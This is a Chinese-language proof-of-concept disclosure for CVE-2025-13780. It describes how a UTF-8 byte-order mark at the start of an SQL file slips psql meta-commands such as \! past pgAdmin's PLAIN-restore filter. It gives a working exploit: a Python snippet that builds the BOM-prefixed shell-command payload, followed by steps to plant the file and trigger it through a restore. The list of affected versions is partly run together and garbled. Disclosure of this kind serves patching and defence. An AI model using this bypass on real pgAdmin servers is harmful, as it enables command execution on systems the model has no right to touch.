
Proof of concept for CVE-2025-13780
pgAdmin 在修复 Issue 9320 时引入的 PLAIN 恢复元命令过滤器,在 SQL 文件以 UTF-8 字节顺序标记 (EF BB BF) 或其他特殊序列开头时无法检测到元命令。该实现的过滤器使用函数 has_meta_commands(),该函数通过正则表达式扫描原始字节。该正则表达式未将这些字节视为可忽略,因此诸如 \! 的元命令仍未被检测到。当 pgAdmin 使用 --file 调用 psql 时,psql 会去除这些字节并执行命令。这可能导致在恢复操作过程中执行远程命令。
此绕过影响在提交 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836) 中引入的补丁。
确认受影响:
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)可能受影响:
1d397395f75320ca1d4ed5e9ca721c603415e836 的已修补 has_meta_commands() 的版本\restrict) 下运行,因此元命令现在被 psql 本身阻止web/pgadmin/tools/restore/__init__.pyhas_meta_commands()相关代码(来自修补版本):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
步骤 1:创建一个以 BOM 和元命令开头的 SQL 文件。
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
步骤 2:验证 BOM:
xxd bypass_bom.sql | head -1
预期:
ef bb bf 5c 21 ...
步骤 3:将文件放入 pgAdmin 存储:
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
步骤 4:在 pgAdmin 中: 恢复 -> 格式:PLAIN -> 选择 bypass_bom.sql -> 运行
步骤 5:验证执行:
ls /tmp/bom_ran
不带 BOM 的控制文件被正确阻止。
带有 BOM 前缀的 payload:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
控制 payload:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;